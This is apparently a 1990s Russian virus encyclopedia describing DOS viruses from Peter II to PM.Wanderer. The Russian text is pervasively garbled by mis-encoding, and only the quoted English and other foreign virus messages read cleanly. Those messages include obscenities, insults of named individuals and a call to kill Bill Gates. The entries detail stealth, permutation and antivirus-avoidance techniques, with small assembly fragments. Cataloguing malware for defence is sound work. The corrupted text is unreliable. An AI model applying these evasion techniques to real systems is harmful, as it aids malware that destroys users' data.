Îïàñíûé çàãðóçî÷íûé ñòåëñ âèðóñ. Ðàçìåùàåò ñâîþ êîïèþ ïî àäðåñó
9F00:0000. 27-ãî ôåâðàëÿ âèðóñ âûâîäèò òåêñò:
Good morning,EVERYbody,I am PETER II
Do not turn off the power, or you will lost all of the data in Hardisk!!!
WAIT for 1 MINUTES,please...
ïîñëå ÷åãî øèôðóåò ñåêòîðà æåñòêîãî äèñêà. Äàëåå âèðóñ çàäàåò
íåñ÷àñòíîìó ïîëüçîâàòåëþ âîïðîñû è ïðåäëàãàåò îòâåòèòü íà íèõ:
Ok.If you give the right answer to the following questions,I will save
your HD:
A. Who has sung the song called "I`ll be there" ?
1.Mariah Carey 2.The Escape Club 3.The Jackson five 4.All (1-4):
B. What is Phil Collins ?
1.A singer 2.A drummer 3.A producer 4.Above all (1-4):
C. Who has the MOST TOP 10 singles in 1980`s ?
1.Michael Jackson 2.Phil Collins (featuring Genesis)
3.Madonna 4.Whitney Houston (1-4):
Åñëè îòâåòèòü íà âñå âîïðîñû ïðàâèëüíî òî âèðóñ ðàñøèôðîâûâàåò ñåêòîðà
è ïîçäðàâëÿåò ñ÷àñòëèâ÷èêà:
CONGRATULATIONS !!! YOU successfully pass the quiz!
AND NOW RECOVERING YOUR HARDISK ......
Èíà÷å èíôîðìàöèÿ íà äèñêå íå âîññòàíàâëèâàåòñÿ, à âûâîäèòñÿ òåêñò:
Sorry!Go to Hell.Clousy man!
Phalcon.894
Îïàñíûé íåðåçèäåíòíûé âèðóñ.  ìàðòå ôîðìàòèðóåò ñëó÷àéíûå äèñêè. Ïî
ïîíåäåëüíèêàì îñòàâëÿåò â ïàìÿòè "íà òàéìåðå" (INT 08) ðåçèäåíòíûé êîä,
êîòîðûé ïîñòîÿííî âûçûâàåò INT 1Ah (ïîëó÷åíèå ñèñòåìíîãî âðåìåíè).
Phalcon.BobRoss.1110, 1117 (1,2), 1133
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. 9 èþëÿ îñòàâëÿþò â ïàìÿòè ðåçèäåíòíûé
êîä, êîòîðûé ïðèìåðíî ÷åðåç 4.5 ÷àñà âûâîäèò â âåðõíåì ëåâîì óãëó
ýêðàíà ïîî÷åðåäíî òåêñòû:
Bob Ross lives!
Bob Ross is watching!
Maybe he lives here...
What a happy little cloud!
Maybe he has a neighbour right here...
You can make up stories as you go along.
èëè Phalcon.BobRoss.1117 (2):
DR.LOH ! lives!
Don`t the PANIC !!!!!
WEB is LOH & Penis...
Please WAIT! HDD format WAIT!!!
MikeMutationEngine (c)MikeHacker
(DR.LOH is best of the best VIRUS !!!!!!
 òåëå âèðóñîâ òàêæå èìååòñÿ òåêñò "PHALCON".
Phalcon.Dcool
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé êîä,
êîòîðûé âûâîäèò ñëåäóþùèé òåêñò:
SHALOMKnock... Guess who's There...
Fuck Asi Azulay and Lior Cohen ...
It's Dr. Unknown... :-)
Fuck Guy Assado for Distributing my Sources...
Use XOPEN, MAN!!! FUCK Stick-Buster!!!
ViSiON-X is Some C00L Program !!!
Call to Support board: +972-X-XXXXXX !!!
TNTVIRUS is SHIT!!! Cpav is SHIT!!! Use McAfee!
But... McAfee is SHIT too...
Borland is the BEST...
Too bad, you didn't make Backup for your HD... :)
I Wonder, What INT 13h Does with AH=05...
Just kiddin'... Ya know?
GUY ASSADO IS MONGOL!!!
COOLNESS is FOREVER!!!
Òàêæå ñîäåðæèò ñòðîêó "D-C00L-1 ViRUS".
Phalcon.Maria
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 2 ÷èñëà ìåñÿöà óíè÷òîæàåò ñëó÷àéíûå
ñåêòîðà äèñêà. Îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé êîä, êîòîðûé âûâîäèò
òåêñò:
Maria K lives..
Somewhere in my heart..
Somewhere in Sweden..
I might be insane..
But the society to blame..
The Unforgiven / Immortal Riot
Phalcon.Psychosis
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. 6 èþíÿ îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé
êîä, êîòîðûé ÷åðåç 5 ìèíóò âûâîäèò òåêñò:
Another year passed by
Another tear the willows cry
to change the world we ever try
to make a difference before we die
[PSYCHOSIS] Greets, Phalcon/Skism.
(c) 93/94 The Unforgiven / Immortal Riot
Ñîäåðæèò òàêæå òåêñòîâóþ ñòðîêó:
\\ Merry Xmas and a happy new year // Sweden - Snowing Again
Phantom1.7000 (1-4), 7100, 7160
Ïîëèìîðôèêè. Åñëè îêîëî 20 ìèíóò íå áûëî íàæàòèé íà êëàâèøè âûâîäÿò
ñëåäóþùóþ êàðòèíêó:
°°±±²²²²²²²²²²²²²²²²±°
±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ±±°
°±²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ±°
°²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ±±±
±ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²±±±±±
²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²±±±±±±°
°ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²±±±±²±±±
±ÛÛÛÛÛ²ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²±°°±±±±±±±±°
±Û²°°°°°°±²ÛÛÛÛÛÛÛÛ²±±°°°°°°±²²ÛÛ°°°±±±±±±±±°
°° °±²²²²²±±° °²²± °°°°°±±±
°± ±±±±±° ±± °°°±±±
²²° °²±±²°° °°°°°±±±±
°ÛÛÛÛÛÛ²±±±²²°° °ÛÛÛ²±±°° °±°°°°°°±°
°²²±²²²ÛÛÛÛ°° °ÛÛÛÛÛ²²±±°°°°°°±±±±°°°±±
°±±°±±²ÛÛÛ° ²²±±±°±±±±±±°±±±°° °°°
±ÛÛÛÛÛ±°°°°°±±±±±±° °
±ÛÛÛÛÛÛ±²Û²²²±Û±°°
°±±±²Û±±°±±±°±±±°° °
° ° ° ° °°
°°°°°°° °°°°°°°°°°°°° °±°
°²²²²±°±±±±±±°°±±±±±±±±±±±±
°ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²±±±²±±±±±±±
±ÛÛ²²²ÛÛÛÛÛÛÛÛÛÛ²±±±±±±°°
Çàòåì íà ôîíå íàäïèñè "PHANTOM 1" ïîÿâëÿåòñÿ áåãóùàÿ ñòðîêà
"Congradulations!!! Your computer is now infected with a high
performance PHANTOM virus! Coming soon: next virii based on the
_C00LEST_ mutation engine all over the world: the Advanced
Polymorphic Engine! Enjoy this intro! (C) 1994 by Dark Prince.".
Phardera.5824
Håîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 10 ÷èñëà êàæäîãî ìåñÿöà
âûâîäèò òåêñò "Phardera + Dianita". Ñîäåðæèò òàêæå òåêñò:
Phardera
-by Phardera'95-----Batavia--------Indonesia----
RaredrahP Dianita
PHB.4315, 4461
PHB.4315 î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê âñåõ
ôàéëîâ è óíè÷òîæàåò èõ ñîäåðæèìîå, çàïèñûâàÿ â íèõ ñâîé âèðóñíûé êîä,
íå ñîõðàíÿÿ îðèãèíàëüíóþ èíôîðìàöèþ. PHB.4461 íåîïàñíûé íåðåçèäåíòíûé
âèðóñ. Ïðè ñòàðòå âèðóñû âûâîäÿò íà ýêðàí â òåêñòîâîì ðåæèìå òåêñò:
°°°°°°°°°²±²±²²±Û±±±²°°±°°²±°°²²±±²²²²²²²²°²±±²²²²²²²²²²²²²²²²²²²±²±°°±±±±°±²°
°±ÒÄÄÄÄĬ°ÖÄĬ±ÖÄÒĬ±ÖÄÒĬ²Ò°²Â²·±²ÖĬ±²²°±°²²±²²²²²²²²²²²²²²²²²²²²²²±²±°±°±±°
²²º²°°°²¦°ÇÄÄ´±°±º°²°±±º°°±ÓÄÄ´±½²²ÓĬ°±°°²±²²²²²²²²²²²²²²²²²²²²±²²±²±°°°°°°±±
°°ÇÄÄÄÄÄٱа°Á°°°Ð°²±²°Ð°²²ÓÄÄÙ°°ÛÓÄÄÙ°°²²²²²²²²²²²²²²²±²²²²²²²²²²²²²±±²±±°±±°
²°º²°°°±°±±±°°°°±±±²²²°°°²²²²²²°ÛÛ²²±°°°²²²²²²²²²²²²²²²²²²²²²²²²±²²²²²²²±°°±±±
°°Ð±±°±²°°°²²±±°²²±±²²°°±²²²²°°°°±²±±±²²²²²²²²²±²²²²²²²²²±²²±²²²±²²²²²²²°°±°²±
±±±±±°°°±±²±²²²±²±²²²±°²²²°±²°±°±±²²±²²²²²²²²²±²²²±²²²°±²±²²²²²²²²²²²²²²²²°°²°
±±±²±±°±²°²°²±±±²²±°°²²²±²²°²²²°±°²±±²²²²²²²²²²±²²²²±²²²°±°²²²²²²²²²²²²²²²²°°²
°²²°°²²²±±±°±±±±°°²²²²²°²²²²²²²²²°°±²²²²²²²²²²²²²²²±±°²°²²°²²°°²²²²²²²²²²²²±²°
°²²²²°°°²±±²²²°°²²²²²²²²²²²±²²²²²²±²²²²²²²²²²²²°²°±²±²²°°°°²²²²²²²²²²²²²²²²²²²
°°°°°²°°±²±²°°²²²±²²²²²±²²²²²²²±±²²±²²²²±²²²±²°°±²²²²²²²°°²²²²°²±²²²±²²²²²²²²²
±²±°°°±±±²°°²²²²²²²²²²±²²²²±±²²²²²²²²²²²²²²²²°°°±²²²²²²²²²²²²²²²°²²²²±²²²²²²²²
±°°±±²²²°²²²²²²²²²±²²²²°²²²²²±²±²²±²±²²²²²²²°±±²±°²²²²²²²²²²²²°°°²²±°²±²²²²°°±
°°±±²²°°²°°°°²²²±²²²²²°²±²°°±²²²²²²²²²²°°²²²²°²²°±±²²²²²²²²²±°°°°²²²±²±²±±²°²°
°±±±°°²°°²°²°²²²²°°²²²²°°°°°°°±°±²²²²²²²²²²²²²²°°±±±±±°²°±°°°²²²²±²²²°±°±²²²±±
±±²°²²°²²²²²²±±²°°°°±±°°°±±°°°±°²²²²²²²²²²²²²²²²°°°°°°°²²°°²²±²²²²°±±±²²²²²²°²
±²°²°²²²²²°±±°°±°±°±±±±°±±±±°°²²²²²±²°²²²²°²²±²²²²²²±²°²±²²²²²²²±±±±±²²²²²²²°²
°°²²²²²°±°±°±°°°°±°±±±±±°°°°°²²°²²±²²°²²²²²²±±°±²²²±±±±°°±±±±°±°±²²²²²²±²±°±±°
±±±²±±²±°²±²²°°°°°°±±°±±±±±°±°²±²²±²°°±²²²±°±°°°°°°°±°±±±²°±±²±²²±±²±±°²²±±±²²
°°²²²²²°°°²±²±Û°±±²°²°°°²°²°²²²²±²±±°±±±²±²²°°°±°°°°°°°°²²°²°±²²±±°²²±²°±°²²±²
°²°°Û²²²²±²²±°°±±²²°±°²°²±²±±±²±±²°²±°²²²°²²°±²°²°ÒÄÄÄĬ±²ÖÄĬ²ÖÄĬ²ÒĬ°²°ÖĬ²
²²²²°°°°²±²²²±°±°°°±±°²±°±²²²±²±²±°²°²²²°±°²²±°²²°º°°°±¦°°º²²¦±º²±¦°ÇÄÁ¬±±ÓĬ²
±±°°°²²²°±°°±²²²²²±²°°²°°²²°°°²°²°²²²°±²±±²²²°±°±±ÇÄÄÄÄÁ¬±ÓÄÄÙ²ÓÄÄÙ±ÐÄÄÙ²ÓÄÄÙ±
°°²²°±²²°°±°°°²²²²±±²°°°²²±±±°²°±±°²±°±±°°±°°°±±²²º±±±°±¦²±²±²²²²²²°²±±²²²±²°²
²±°²²°²²±²±²²±²²²±²²±²±²²±±°±±±°±°±±±°±±²±²±±±±±±±ÐÄÄÄÄÄÙ°°²²²°²²²²±²±±²²²²²±²
Ïî îêîí÷àíèè ðàáîòû âèðóñû âûâîäÿò ñîîáùåíèå "Thank you for viewing
Patty Hoffman's Boobs!". Ñîäåðæàòñÿ òàêæå òåêñòû:
PHB.4315:
Patty Hoffman's Boobs! Virus version 1.0 Copyright (c) 1993 by Cerebral
Quantas. Made in Canada, Eh! July 4, 1993.
PHB.4461:
[Patty's Boobs Virus] v2.5 Copyright (c) 1993 by Cerebral Quantas. Made
in Canada, Eh! January 27, 1993.
PhisDept.6294
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 03,20h,21h,27h,2Fh,
80-84h. Çàðàæàåò COM è EXE-ôàéëû ïðè èõ çàïóñêå. Ïðè çàðàæåíèè ôàéëîâ
ïðîèçâîäèò ýìóëÿöèþ 1000 ïåðâûõ áàéò ïðîãðàììíîãî êîäà - àíàëèçèðóåò è
êîïèðóåò êàæäóþ êîìàíäó â ñâîé áóôåð è âûïîëíÿåò äàííóþ èíñòðóêöèþ.
Âìåñòî ëþáîé êîìàíäû ìîæåò âñòàâèòü âûçîâ ïðåðûâàíèÿ INT 03 (CCh) èëè
INT 80-84h (CDh 80-84h). Ò.ê., äàííûå ïðåðûâàíèÿ âèðóñîì "çàõâà÷åíû",
òî âèðóñ ñ÷èòàåò, ÷òî ýòî "âíåäðåííûå" èì èíñòðóêöèè è ïîäñòàâëÿåò
âìåñòî íèõ ñîõðàíåííûå ðàíåå â òåëå âèðóñà 2 áàéòà. 27 ôåâðàëÿ, 20 èþíÿ
è 9 ìàÿ, ïðè ñòàðòå MS-Windows â ðåæèìå 286 (enhanced 286) âèðóñ ìîæåò
âûâåñòè òåêñò:
Ó È Í Ä Î Ó Ç-ÄÓÐÀ. (C) Copyright Kovalevsky & Co, MSU PhisDept.
Happy birthday to us.
À òàêæå ìîæåò ïîñëàòü ìîäåìó ñëåäóþùèå êîìàíäû óïðàâëåíèÿ "ATM2",
"ATL3M0Q0X4S7=5DP9W", "ATS7=30DP8W1018094745268". Ïîñëåäíÿÿ êîìàíäà -
ïîïûòêà ïîçâîíèòü â Êàëèôîðíèþ. Ñîäåðæèò òåêñòû "AntiAidstest.
(C)Copyright Kovalevsky & company.", "AntiLozinsky.", "Ëîçèíñêèé-×ÌÎ",
"COMMAND.COM ".
Phonix.927
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà âèðóñ
ïûòàåòñÿ çàðàçèòü êîìàíäíûé ïðîöåññîð (COMMAND.COM). Èíñòàëëèðóåòñÿ â
ïàìÿòü âèðóñ òîëüêî èç êîìàíäíîãî ïðîöåññîðà. Çàðàæàåò COM è EXE-ôàéëû
ïðè èõ çàêðûòèè (f.3Eh Int 21h).  ïÿòíèöó 13 ÷èñëà âèðóñ óíè÷òîæàåò
ñîäåðæèìîå 14 öèëèíäðîâ æåñòêîãî äèñêà è âûâîäèò ñòðîêó "PhÔnix".
Phx.823, 965
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ïðè çàïèñè â ôàéëû (f.40h INT 21h) ìîãóò
èñïîðòèòü ïîñëåäíèé áàéò äàííûõ. Ñîäåðæàò ñòðîêó "PHX".
Pieck.2016
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. 3 ìàðòà âûâîäèò ñîîáùåíèå
"Podaj haslo ?" è æäåò ââîäà ñèìâîëîâ. Åñëè ââåñòè "pieck", òî âèðóñ
âûâîäèò òåêñò "Pozdrowienia dla wychowankow Pieck'a." è ïðîäîëæàåò ñâîþ
ðàáîòó. Åñëè æå áóäåò ââåäåíî êàêîå-ëèáî äðóãîå ñëîâî, òî âèðóñ âûâîäèò
ñîîáùåíèå "Blad !" è "âåøàåò" ñèñòåìó.
PifPaf.760
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû "PIF-PAF B v1.0", "Nincs
kegyelem !".
Pindonga.3550, 3652
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. 16 ñåíòÿáðÿ, 25 ôåâðàëÿ, 21
ìàðòà è 27 àâãóñòà âèðóñû óíè÷òîæàþò ñîäåðæèìîå äâóõ ïåðâûõ æåñòêèõ
äèñêîâ è âûâîäÿò òåêñò:
PINDONGA Virus V5.6. (Hecho en ARGENTINA)
Programado por Otto (16977)
Saludos a MAQ-MARIANO-SERGIO-ERNESTRO-COSTRA-PABLIN
PD: Alguien mate a Bill Gates (El WINDOWS SE CUELGA)
PINDONGA Virus (Programado por OTTO en ARGENTINA) 16977.
Pit.611
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò ôàéëû CHLLIST.CPS. Ñîäåðæèò
ñòðîêó "The Pit v.1.20".
Pixel.based - âèðóñû
Íåðåçèäåíòíûå âèðóñû. Ïðîèçâîäÿò ïîèñê *.COM-ôàéëîâ è âíåäðÿþòñÿ â èõ
íà÷àëî. Èíîãäà âûâîäÿò íà ýêðàí ñîîáùåíèÿ:
Pixel.299, 342, 345, 846, 847
Program sick error:Call doctor or buy PIXEL for cure description
Pixel.457, Pixel.550
Óñòðàèâàþò âèäåî-ýôôåêòû â ãðàôè÷åñêîì ðåæèìå ìîíèòîðà.
Pixel.851, 852
Ѻä çà Âëàäêî è íåãîâè¬ ²à²êî ! Íèå â±è·êè ±ìå çà ï°å¦±²°îé±²âî !
Pixel.877:
Sector not found error fucking defoult drive! Please buy me a new disk drive!
Pixel.1268, 1271
Ïîñëå çàðàæåíèé ôàéëîâ ïðîñèò ââåñòè ïàðîëü "ENTER THE PASSWORD: ".
Åñëè ââåñòè ôðàçó îòëè÷íóþ îò "Ken Sent Me", òî âèðóñ âûâåäåò òåêñò
"YOU HAVE ENTERED THE WRONG PASSWORD!!" è âîçâðàòèò óïðàâëåíèå DOS.
Ñîäåðæèò òàêæå òåêñò "PreComFileRunSyndrome 1993".
Pixel.Flea.1577, 1647
Î÷åíü îïàñíûå âèðóñû. Óíè÷òîæàþò íåêîòîðûå ôàéëû, çàïèñûâàÿ â íèõ êîä
âèðóñà Dir-II. Óíè÷òîæàþò ñîäåðæèìîå òåêóùåãî äèñêà èëè ñëó÷àéíûõ
ñåêòîðîâ äèñêà.
Pixel.Hydra.340, 342, 343, 368, 372, 391, 403, 495
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Íåêîòîðûå âåðñèè âèðóñîâ óäàëÿþò ôàéë
COMMAND.COM, èëè ïîðòÿò âñå EXE-ôàéëû â òåêóùåì êàòàëîãå, èëè
çàïèñûâàþò â EXE-ôàéëû êîä, êîòîðûé âûâîäèò òåêñò "Who is John Galt?",
èëè ïåðåíàçíà÷àþò INT 4, INT 40h íà INT 9 èëè íà INT 13h, èëè âûâîäÿò
òåêñò:
HYDRA
Copyright (c) 1991 by C.A.V.E.
Òàêæå ñîäåðæàò òåêñò "HyDra-X Beta - Not For Release.", ãäå X -
ïîðÿäêîâûé íîìåð âåðñèè âèðóñà.
Pixel.Hydra.736
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí ñîîáùåíèå:
HYDRA
Watch for the many heads.
The first eight are easy to find and kill.
Their replacements will be more sophisticated.
(c) 1991 - C. A. V. E.
Ñîäåðæèò òåêñòû "HyDra Beta - Not For Release.", "Copyright (c) 1991
by C.A.V.E.", "Coalition of American Virus Engineers",
"-=-=- Dedicated to supporting the anti-virus industry
without recognition or reward. -=-=-".
Plague.2647
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Ïðè îòêðûòèè èíôèöèðîâàííûõ ôàéëîâ
(f.3Dh INT 21h) óäàëÿåò ñâîé êîä èç íèõ. Ïðè çàêðûòèè (f.3Eh INT 21h)
ñíîâà çàðàæàåò. Âíåäðÿåò êîìàíäû ìåæñåãìåíòíîãî ïåðåõîäà íà ñâîé êîä â
îðèãèíàëüíûé îáðàáîò÷èê INT 21h. Ïðè çàðàæåíèè ôàéëîâ íà ôëîïïè-äèñêè
ïðîâåðÿåò íàëè÷èå çàùèòû îò çàïèñè íà äèñê ïîñðåäñòâîì ÷òåíèÿ è
îáðàòíîé çàïèñè Boot-ñåêòîðà äàííîãî äèñêà. Ñîäåðæèò ñòðîêó "PLAGUE".
Platov.1644, 1700
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ïðè ñìåíå äèðåêòîðèè íà GAMES èëè ANT*,
âûâîäÿò òåêñòû:
Access Denied Software presents Access Denied Software presents
The PC Virus The PC Virus
Êîìïüþòåð ñîçäàí íå äëÿ èãð! Íå ïûòàéòåñü ìåíÿ óíè÷òîæèòü!
È óíè÷òîæàþò ôàéëû â ýòèõ êàòàëîãàõ. Ïðè ñìåíå äèñêà íà A: (f.0Eh Int
21h) âûâîäÿò òàêîé òåêñò:
Access Denied Software presents
The PC Virus
Íå ïîëüçóéòåñü äèñêåòàìè.
Òàì ìîãóò áûòü âèðóñû.
Ïîñëå ÷åãî óíè÷òîæàþò 256 ñåêòîðîâ äèñêà A:. Ïðè ïå÷àòè íà ïðèíòåð
ìåíÿåò áóêâó "å" íà "ý" è ïîñëå êàæäîé çàïÿòîé âñòàâëÿþò ìåæäîìåòèå
"áëÿ". Ñîäåðæàò òåêñòû "Programmed by Andrey Platov 15 years old on
09.07.1992", "Hello to Igan, Pershin ×ÌÎ".
PlayGame.2000
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò EXE-ôàéëû ïðè äîñòóïå ê
íèì ÷åðåç INT 21h è MBR æåñòêîãî äèñêà ïðè ïåðâîì ñòàðòå èíôèöèðîâàííîé
ïðîãðàììû. Èíñòàëëÿöèÿ â ïàìÿòü TSR-êîïèè âèðóñà ïðîèçâîäèòñÿ ïðè
çàãðóçêå ñèñòåìû ñ "âèí÷åñòåðà". Ñîäåðæèò òåêñòîâûå ñòðîêè "[ MK /
TridenT ]" è "CO4DSCCLVSNEHTTBVIF-FIGIIMRAFEMTBR". Íå çàðàæàåò
ïðîãðàììû, êîòîðûå íà÷èíàþòñÿ ñ äâóõ áóêâ, èìåþùèõñÿ â ïîñëåäíåé
ñòðîêå.  äåêàáðå ñ 21 ÷àñà âèðóñ âûâîäèò ïðèãëàøåíèå ê èãðå:
H A P P Y V I R U S
T i m e t o p l a y a g a m e
(Use shift keys)
Ïîñëå ÷åãî âèðóñ ïðåäëàãàåò ïîèãðàòü â èãðó, ñìûñë êîòîðîé ñâîäèòñÿ ê
ïðîâîæäåíèþ "óëûáàþùåéñÿ ðîæèöû" êîä ASCII 02 ìåæäó äâèãàþùèìèñÿ
ïðåïÿòñòâèÿìè êîä ASCII 254. Â ïðîöåññå àíàëèçà âèðóñà ÿ äàæå ïîèãðàë â
äàííóþ èãðóøêó. Äîøåë àæ äî 2 óðîâíÿ... Âèä èãðû âûãëÿäèò, ïðèìåðíî,
òàê:
þ þ
þ þ þ þ þ þ
þ þ þ þ þ þ þ
þ þ þ þ þ þ
Ply.based (Ply.3360,3486,3759,3768,4224,4722,5133,5175)
Îïàñíûå íåðåçèäåíòíûå ïåðìóòèðóþùèå (pemutating) âèðóñû. Äàííûå âèðóñû
íå ÿâëÿþòñÿ, íè øèôðîâàííûìè, íè ïîëèìîðôíûìè âèðóñàìè. Íî àëãîðèòì
ñîçäàíèÿ ñâîèõ âèðóñíûõ êîïèé î÷åíü áëèçîê ê ïîëèìîðôíûì àëãîðèòìàì.
Êàæäàÿ àññåìáëåðíàÿ êîìàíäà âèðóñà çàíèìàåò íå áîëåå 3 áàéò, ýòè 3
áàéòà â ñâîþ î÷åðåäü ñîñòàâëÿþò íåêóþ âèðóñíóþ êîìïîíåíòó. Åñëè
àññåìáëåðíàÿ èíñòðóêöèÿ çàíèìàåò ìåíåå 3 áàéò â êîìïîíåíòå, òî âèðóñ
"ðàçáàâëÿåò" åå NOP-êîìàíäàìè. Ïðè÷åì â ñëó÷àéíûé ìîìåíò âðåìåíè ýòè
NOP'û ìîãóò èçìåíÿòü ñâîå ìåñòîïîëîæåíèå ("ïëàâàòü") â êîìïîíåíòå.
Íàïðèìåð:
FB STI -> 90 NOP -> 90 NOP
90 NOP FB STI 90 NOP
90 NOP 90 NOP FB STI
Âèðóñû ñîñòîÿò èç 3 áëîêîâ: îñíîâíîé áëîê, áëîê äàííûõ è áëîê
òîæäåñòâåííûõ âûçîâîâ. Òàêæå â ñëó÷àéíûé ìîìåíò âðåìåíè âèðóñû ìîãóò
ïåðåíîñèòü äàííûå òðåõáàéòîâûå êîìïîíåíòû èç îñíîâíîãî áëîêà â áëîê
òîæäåñòâåííûõ âûçîâîâ è çàìåíÿòü èõ íà JUMP èëè CALL â îñíîâíîì áëîêå.
È íàîáîðîò èç áëîêà òîæäåñòâåííûõ âûçîâîâ â îñíîâíîé áëîê â
ïåðâîíà÷àëüíîì âèäå. Íàïðèìåð:
FB STI -> E9 ?? ?? JMP LOC_1
90 NOP
90 NOP
RET_1: RET_1:
E8 ?? ?? CALL LOC_1 B8 00 01 MOV AX,100
.................... ....................
LOC_1: LOC_1:
B8 00 01 MOV AX,100 90 NOP
C3 RET FB STI
?? 90 NOP
?? E9 ?? ?? JMP RET_1
Òàêèì îáðàçîì, îäèíàêîâûå èíôèöèðîâàííûå ôàéëû ìîãóò íå ñîâïàäàòü
íè â îäíîì áàéòå îñíîâíîãî âèðóñíîãî áëîêà. Ðàçëè÷íûå ìîäèôèêàöèè
âèðóñà ìîãóò íå çàðàæàòü ñëåäóþùèå ôàéëû: AVP,AVPLITE,AVPVE,BAIT,EICAR,
EMM386, F-PROT, FV386, FV86, MSAV, MVTOOL10, SCAN, TBSCAN,TBAV,TBCHECK,
TBCLEAN, TBDISK, TBDRIVER, TBFILE, TBGENSIG, TBKEY,TBLOG,TBMEM,TBSETUP,
TBSCANX,TBUTIL,VALIDATE,VIRSTOP,VIRUS,VPIC,VSAFE. Ply.4722, 5133, 5175
óäàëÿþò ôàéë \NCDTREE.
PM.Wanderer
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ, èñïîëüçóþùèé çàùèùåííûé
(âèðòóàëüíûé) ðåæèì ïðîöåññîðîâ i80386-Pentium. Äëÿ óñòàíîâêè ñâîåé
ðåçèäåíòíîé êîïèè â ïàìÿòü è ïåðåêëþ÷åíèÿ â çàùèùåííûé ðåæèì ïðîöåññîðà
(Protected Mode) èñïîëüçóåò äîêóìåíòèðîâàííûé èíòåðôåéñ VCPI (Virtual
Control Programm Interface) äðàéâåðà ðàñøèðåííîé ïàìÿòè EMS (EMM386).
Âèðóñ çàðàæàåò COM è EXE-ôàéëû ïðè èõ çàïóñêå èëè îòêðûòèè (f.4b00h,
f.3dh Int 21h). Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû, âèðóñíûé
ïîëèìîðôíûé äåêðèïòîð ðàñøèôðîâûâàåò îñíîâíîå òåëî âèðóñà è ïåðåäàåò
åìó óïðàâëåíèå. Äàëåå îñíîâíîé âèðóñíûé êîä âûäåëÿåò ó÷àñòîê ïàìÿòè â
âåðõíèõ àäðåñàõ, êîïèðóåò â íåãî ñîáñòâåííûé êîä è ïåðåäàåò åìó
óïðàâëåíèå. Çàòåì îí âîññòàíàâëèâàåò êîä èíôèöèðîâàííîãî ôàéëà â
ïðîãðàììíîì ñåãìåíòå (äëÿ EXE-ôàéëîâ òàêæå ïðîèçâîäèò íàñòðîéêó àäðåñîâ
ïåðåìåùàåìûõ ýëåìåíòîâ) è ïðèñòóïàåò ê íåïîñðåäñòâåííîìó âíåäðåíèþ
â ïàìÿòü ñâîåé ðåçèäåíòíîé êîïèè. Ïåðâûì äåëîì âèðóñ ïûòàåòñÿ âûÿñíèòü
óñòàíîâëåí ëè â ñèñòåìå äðàéâåð EMS. Äëÿ ýòîãî îí ïîëó÷àåò àäðåñ
ïðåðûâàíèÿ INT 67h è ïðîâåðÿåò íàëè÷èå ñòðîêè EM* â çàãîëîâêå äðàéâåðà.
Äàëåå âèðóñ ïðîâåðÿåò íå íàõîäèòñÿ ëè óæå â ïàìÿòè åãî ðåçèäåíòíàÿ
êîïèÿ - âûçûâàåò ôóíêöèþ AX=0BABAh INT 21h è ïðîâåðÿåò îòâåò AX=0FA00h.
Åñëè äðàéâåð EMS íå óñòàíîâëåí â ñèñòåìå èëè âèðóñíàÿ ðåçèäåíòíàÿ êîïèÿ
óæå íàõîäèòñÿ â ïàìÿòè, à òàêæå â äàëüíåéøåì -ïðè îòñóòñòâèè èíòåðôåéñà
VCPI, âèðóñ îñâîáîæäàåò ðàíåå âûäåëåííóþ ïàìÿòü è îòäàåò óïðàâëåíèå
ïðîãðàììå-âèðóñîíîñèòåëþ, çàêàí÷èâàÿ òåì ñàìûì ñâîþ "æèçíåäåÿòåëüíîñòü"
â ñèñòåìå. Åñëè æå "óñëîâèÿ ôëîðû" áëàãîïðèÿòñòâóþò, òî âèðóñ
"ïåðåõâàòûâàåò" INT 01 è òðàññèðóåò INT 21h ñ öåëüþ íàõîæäåíèÿ
îïðåäåëåííîé ïîñëåäîâàòåëüíîñòè áàéò, ïðèñóòñòâóþùèõ â îðèãèíàëüíîì
îáðàáîò÷èêå INT 21h MS - DOS âåðñèé 5.00 - 7.00. Åñëè äàííàÿ
ïîñëåäîâàòåëüíîñòü îáíàðóæåíà, òî âèðóñ çàïîìèíàåò àäðåñ ÿäðà
